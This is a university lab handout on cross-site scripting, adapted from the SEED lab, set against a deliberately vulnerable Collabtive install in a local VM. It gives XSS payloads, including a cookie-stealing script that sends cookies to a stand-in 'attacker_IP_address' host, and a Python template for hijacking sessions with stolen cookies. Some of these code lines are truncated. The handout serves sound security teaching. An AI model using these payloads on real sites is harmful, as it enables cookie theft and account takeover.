SY306 Lab Eight

Cross-site Scripting Attacks

Introduction

This week we've learend about XSS and the vulnerability it presents in web applications. This vulnerability makes it possible for attackers to inject malicious code (e.g. JavaScript programs) into a victim's web browser. Using this malicious code, the attackers can steal the victim's credentials, such as cookies. Access control policies employed by the browser to protect those credentials (i.e., the same origin policy) can be bypassed by exploiting XSS vulnerabilities. Vulnerabilities of this kind can potentially lead to large-scale attacks.

To demonstrate what attackers can do by exploiting XSS vulnerabilities, we have set up a web-based project management software named *Collabtive*. The software has been modified to introduce a XSS vulnerability, allowing users to post arbitrary messages, including JavaScript programs, to the project introduction, message board, tasklist, milestone, timetracker and profiles. You will need to exploit this vulnerability by posting some malicious messages to user profiles; users who view these profiles will become victims. The attacker's goal is to post forged messages and create false projects for the victims.

Lab Environment

Just as you did with Lab05, for this lab you will work in groups of two and turn in one common report. Sections **4341** and **5551**, click here for today's team information.

For this lab you need to use the SEEDUbuntu12.4 virtual machine image, the same as for lab 5, which should be located in your `Documents/VM/` folder. Launch VirtualBox, then click on the following link for instructions to configure and start the VM.

```
Login Name: seed
Password: dees
```

Lab Set-up - Nothing to do yet, just read for your information

In this lab, we need three things, all of which are already installed in the provided VM image: (1) the Firefox web browser, (2) the Apache web server, and (3) the Collabtive project management web application. For the browser, we need to use the LiveHTTPHeaders extension for Firefox to inspect HTTP requests and responses. The VM image provided has Firefox installed with the required extensions.

Starting the Apache Server. The Apache web server is also included in the VM image. However, the it is not started by default. You need to first start the web server using the following command:

```
sudo service apache2 start
```

The Collabtive Web Application. In this lab, we will use an open-source web application called Collabtive. Collabtive is a web-based project management system pre-installed in the VM image. We have also created several user accounts on the Collabtive server. To see all the user account information, first log in as admin using the following credentials. Other user account information can be obtained from the post on the front page or the "Manage users" tab.

```
username: admin
password: admin
```

Configuring DNS. We have configured the following URL needed for this lab. To access the URL, the Apache server needs to be started first:

URL	Description	Directory
`http://www.xsslabcollabtive.com`	`Collabtive`	`/var/www/XSS/Collabtive`

The above URL is only accessible from inside of the virtual machine, because we have modified the /etc/hosts file to map the domain name of each URL to the virtual machine's local IP address (127.0.0.1). You may map any domain name to a particular IP address using /etc/hosts. For example you can map http://www.example.com to the local IP address by appending the following entry to /etc/hosts:

```
127.0.0.1 www.example.com
```

If your web server and browser are running on two different machines, you need to modify /etc/hosts on the browser's machine accordingly to map these domain names to the web server's IP address, not to 127.0.0.1.

Configuring Apache Web Server. In the pre-built VM image, we use Apache web server to host all the web sites used in the lab. The name-based virtual hosting feature in Apache could be used to host several web sites (or URLs) on the same machine. A configuration file named default in the directory "/etc/apache2/sites-available" contains the necessary directives for the configuration:

1. The directive "NameVirtualHost *" instructs the web server to use all IP addresses in the machine (some machines may have multiple IP addresses).

2. Each web site has a VirtualHost block that specifies the URL for the web site and directory in the file system that contains the sources for the web site. For example, to configure a web site with URL `http://www.example1.com` with sources in directory `/var/www/Example_1/`, and to configure a web site with URL `http://www.example2.com` with sources in directory `/var/www/Example_2/`, we use the following blocks:

```
<VirtualHost *>
    ServerName http://www.example1.com
    DocumentRoot /var/www/Example_1/
</VirtualHost>

<VirtualHost *>
    ServerName http://www.example2.com
    DocumentRoot /var/www/Example_2/
</VirtualHost>
```

You may modify the web application by accessing the source in the mentioned directories. For example, with the above configuration, the web application `http://www.example1.com` can be changed by modifying the sources in the directory `/var/www/Example_1/`.

Lab Tasks

You will work in groups of two and turn in one lab report

You must create a folder in your public_html called "Lab08" (without the quotes) and store your work in that directory. Create a file *lastname1_lastname2_lab08.docx*. For this lab you need to submit a detailed lab report (in *lastname1_lastname2_lab08.docx*) to describe what you have done and what you have observed. Please provide details using screenshots. You additionally need to provide explanations to observations that are interesting or surprising. The final report should be stored in both of the team member Lab08 folders. Complete this report as you go through the tasks below!!

Task 1: Posting a Malicious Message to Display an Alert Window

The objective of this task is to embed a JavaScript program in your *Collabtive* profile, such that when another user views your profile, the JavaScript program will be executed and an alert window will be displayed. The following JavaScript program will display an alert window:

```
<script>alert('XSS');</script>
```

Inject some JavaScript in your profile (e.g. in the company field), so any user who views your profile will see an alert window saying "Hi, XSS!". Note that in this case, the JavaScript code is short enough to be typed into the company field. If you want to run a long JavaScript, but you are limited by the number of characters you can type in the form, you can of course store the JavaScript program in a standalone file, save it with the .js extension, and then refer to it using the src attribute in the <script> tag. The src attribute can contain a relative link or an absolute URL to any server. (**Note:** This how we linked our external shoppingCart.js file in Lab07).

Task 2: Posting a Malicious Message to Display Cookies

The objective of this task is to embed a JavaScript program in your *Collabtive* profile, such that when another user views your profile, the user's cookies will be displayed in the alert window. Modify the JavaScript from the previous task to display the cookies for the page instead of "Hi-XSS"

Task 3: Stealing Cookies from the Victim's Machine

In the previous task, the malicious JavaScript code written by the attacker can print out the user's cookies, but only the user can see the cookies, not the attacker. In this task, the attacker wants the JavaScript code to send the cookies to himself/herself. To achieve this, the malicious JavaScript code needs to send an HTTP request to the attacker, with the cookies appended to the request. One way to do this is by having the malicious JavaScript insert an <img> tag with its src attribute set to the attacker's machine. When the JavaScript inserts the img tag, the browser tries to load the image from the URL in the src field; this results in an HTTP GET request sent to the attacker's machine. The JavaScript given below sends the cookies to the port 5555 of the attacker's machine, where the attacker has a TCP server listening to the same port. The server can print out whatever it receives.

```
<script> document.write('<img src=http://attacker_IP_address:5555?c='+ escap
```

Review the XSS examples from class 13 for other methods to steal cookies.

A simple TCP server program is available here. Download it to your VM and untar it using

```
tar -xvf echoserv.tar
```

Follow the instruction in the README file to build and run the TCP server. Test that cookies are received by your (attacker) TCP server.

Task 4: Session Hijacking using the Stolen Cookies

After stealing the victim's cookies, the attacker can do whatever the victim can do to the *Collabtive* web server, including creating a new project on behalf of the victim, deleting the victim's post, etc. A successful attack manages to hijack the victim's session. After hijacking the session, we will write a program to create a new project on behalf of the victim. Ideally, the attack should be launched from another virtual machine, but the lab machines are not configured to support that, so you will attack from within the same VM.

To forge a project, we should first find out how a legitimate user creates a project in Collabtive. More specifically, we need to figure out what parameters are sent to the server when a user creates a project. Firefox's Developer tools -Web Console - Network tab or the LiveHTTPHeaders extension can help us; it can display the contents of any HTTP request message sent from the browser. From the contents, we can identify all the parameters in the request. The LiveHTTPHeaders is already installed in the pre-built Ubuntu VM image.

Once we have understood what the HTTP request for project creation looks like, we can write a Python script to send out the same HTTP request. The Collabtive server cannot distinguish whether the request is sent out by the user's browser or by the attacker's Python script. As long as we set all the parameters correctly, and the session cookie is attached, the server will accept and process the project-posting HTTP request. To simplify your task, we provide you with a sample Python 2 script (bc Python 3 is not installed on the VM) that does the following:

1. Open a connection to a web server.
2. Set the necessary HTTP header information.
3. Send the request to a web server.
4. Get the response from the web server.

Modify the script to perform your attack. If interested, more information on how to write such a script is available at https://docs.python.org/2/howto/urllib2.html

```
#!/usr/bin/env python
import urllib
import urllib2

#TODO:need to modify the url to match the attacked website

url = 'http://victim_IP_or_domain_name_here/admin.php?action=addpro'

#TODO: you need to provide values for all parameters here

values = {'name' : 'test proj','desc' : 'project description'}

#create the query string

data = urllib.urlencode(values)

#TODO: like for values, you need to add any necessary HTTP headers here

#I added a User-Agent that would be a browser, not a script - just in case t

#add the cookies stolen using the method in Task 3

headers = {'User-Agent':
'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) Gecko/20100101 Firefox/23.0

#create the HTTP request (POST because we send data)

req = urllib2.Request(url, data, headers)

#send the request

try:

  response = urllib2.urlopen(req)

except urllib2.HTTPError as e:

  #HTTP error
  print 'HTTP Error received'
  print e.code
  print e.read()

except urllib2.URLError as e:

  #URL error
  print 'Could not reach the server'
  print e.reason
```

```
else:
  #everything OK
  #this reads the response
  the_page = response.read()
  #just output the page for now
  print the_page
```

Task 5: Countermeasures

Collabtive does have a built-in countermeasure to defend against XSS attacks. For this lab, we have commented out the countermeasure to allow the attack. Please open `initfunctions.php` located in the following path: `/var/www/XSS/Collabtive/include/` and find the `getArrayVal()` function. The script is in PHP not Python, but you should be able to figure out the main components. In particular, we have replaced the following line:

```
return strip_only_tags($array[$name],"script");
```

with:

```
return($array[$name]);
```

Please do some research and describe why the function `strip_only_tags` can make XSS attacks more difficult. Re-instate Collabtive's countermeasures and see if you can repeat your attacks now.

Task 6: Extra Credit

For a nominal amount of extra credit, create a **non** self-propagating XSS worm. Click this link for instructions.

Deliverables

1. You and your teammate need to submit a file lastname1_lastname2_Lab08.docx describing what you have done and what you have observed. Please provide details using screen shots. You also need to explain observations that are interesting or surprising. Only one report is required for each team.

   Your report will be organized as follows:

   1. **Task 1: Posting a Malicious Message to Display an Alert Window**

- Observations, screenshots, etc.

2. **Task 2: Posting a Malicious Message to Display Cookies**

- Observations, screenshots, etc.

3. **Task 3: Stealing Cookies from the Victim's Machine**

- Observations, screenshots, etc.

4. **Task 4: Session Hijacking using the Stolen Cookies**

- Observations, screenshots, etc.

5. **Task 5: Countermeasures**

- Observations, screenshots, etc.

6. **Task 6: Extra Credit (Optional)**

- Observations, screenshots, etc.

2. The report should be in a folder called "Lab08" (without the quotes) on both your public_html folders (you and your teammate). **Your instructor will assume that your web pages are viewable at http://midn.cyber.usna.edu/~m21xxxx/Lab08/lastname1_lastname2_lab08.docx**

3. In your default.html page on your public_html, add a link to lastname1_lastname2_lab08.docx file under the heading "Lab08"

4. **Turn in (due before lab on Friday) One submission per team:**

a. **Paper submission:** turn in the following at the beginning of Lab09, stapled together in the following order (coversheet on top):

i. A completed assignment coversheet with both your names and comments. Your comments will help us improve the course.

ii. A printout of *lastname1_lastname2_lab08.docx* with your answers and screenshots.You can print 2 pages per sheet to conserve paper and ink.

b. **Electronic submission:** Submit the Lab08 report [*lastname1_lastname2_lab08.docx*] via the online system: `submit.cs.usna.edu` by the following deadlines:

- Section **4341**: 23:59, Wednesday, March 6th
- Sections **1151, 3351, 5551**: 23:59, Thursday, March 7th

Acknowledgements

This lab was adapted from the XSS lab created by Wenliang Du at Syracuse University